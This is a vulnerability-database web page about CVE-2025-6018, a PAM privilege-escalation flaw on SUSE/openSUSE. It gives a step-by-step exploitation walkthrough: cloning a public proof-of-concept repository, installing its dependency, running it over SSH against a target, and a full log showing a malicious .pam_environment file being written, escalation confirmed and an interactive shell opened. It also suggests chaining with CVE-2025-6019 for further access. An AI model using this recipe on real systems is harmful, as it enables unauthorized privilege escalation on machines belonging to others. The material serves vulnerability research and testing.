Skip to content
HackIndex logo

HackIndex

CVE-2025-6018:
pam-config

Published: Feb 22, 2026
High
AuthZ

CVE-2025-6018 is a local privilege-escalation flaw in pam-config / Linux PAM on SUSE/openSUSE (SLE 15 family) that lets an unprivileged local user (even over SSH) gain the elevated “allow_active” level normally intended for a physically present user, which can be used to bypass intended authorization boundaries and set up further escalation.

You can use this exploit together with https://hackindex.io/vulnerabilities/CVE-2025-6019 to gain privilege user access.

Privilege Escalation PAM

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

ibrahmsql/CVE-2025-6018
CVE-2025-6018 Poc and Exploit
View repository (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/ibrahmsql/CVE-2025-6018.git
┌──(kali㉿kali)-[~]
└─$ cd CVE-2025-6018
 
┌──(kali㉿kali)-[~]
└─$ python3 -m venv .venv
┌──(kali㉿kali)-[~]
└─$ source .venv/bin/activate
┌──(kali㉿kali)-[~]
└─$ pip3 install paramiko
 
┌──(kali㉿kali)-[~]
└─$ python3 CVE-2025-6018.py -i $TARGET_IP --port $TARGET_PORT -u $SSH_USER -p "$SSH_PASSWORD" 
2026-02-14 19:00:32 [WARNING] Use only with proper authorization!
2026-02-14 19:00:32 [INFO] Starting CVE-2025-6018 exploit against $TARGET_IP:$TARGET_PORT
2026-02-14 19:00:32 [INFO] Connecting to $TARGET_IP:$TARGET_PORT as $SSH_USER
2026-02-14 19:00:32 [INFO] Connected (version 2.0, client OpenSSH_9.6)
2026-02-14 19:00:32 [INFO] Authentication (password) successful!
2026-02-14 19:00:32 [INFO] SSH connection established
2026-02-14 19:00:32 [INFO] Starting vulnerability assessment
2026-02-14 19:00:32 [INFO] Executing check: pam_version
2026-02-14 19:00:33 [INFO] Vulnerable PAM version detected: pam-1.3.0
2026-02-14 19:00:33 [INFO] Executing check: pam_env
2026-02-14 19:00:33 [INFO] pam_env.so configuration found
2026-02-14 19:00:34 [INFO] Executing check: pam_systemd
2026-02-14 19:00:34 [INFO] pam_systemd.so found - escalation vector available
2026-02-14 19:00:35 [INFO] Executing check: systemd_version
2026-02-14 19:00:35 [INFO] Target appears vulnerable, proceeding with exploitation
2026-02-14 19:00:35 [INFO] Creating malicious environment file
2026-02-14 19:00:35 [INFO] Writing .pam_environment file
2026-02-14 19:00:35 [INFO] Malicious environment file created successfully
2026-02-14 19:00:35 [INFO] Reconnecting to trigger PAM environment loading
2026-02-14 19:00:37 [INFO] Connected (version 2.0, client OpenSSH_9.6)
2026-02-14 19:00:37 [INFO] Authentication (password) successful!
2026-02-14 19:00:37 [INFO] Reconnection successful
2026-02-14 19:00:37 [INFO] Testing privilege escalation vectors
2026-02-14 19:00:37 [INFO] Testing: SystemD Reboot
2026-02-14 19:00:38 [INFO] PRIVILEGE ESCALATION DETECTED: SystemD Reboot
2026-02-14 19:00:38 [INFO] Testing: SystemD Shutdown
2026-02-14 19:00:38 [INFO] PRIVILEGE ESCALATION DETECTED: SystemD Shutdown
2026-02-14 19:00:38 [INFO] Testing: PolicyKit Check
2026-02-14 19:00:38 [INFO] No escalation detected: PolicyKit Check
2026-02-14 19:00:38 [INFO] EXPLOITATION SUCCESSFUL - Privilege escalation confirmed
2026-02-14 19:00:38 [INFO] Starting interactive shell session

--- Interactive Shell ---
Commands: 'exit' to quit, 'status' for privilege check
exploit$ whoami 
whoami
$SSH_USER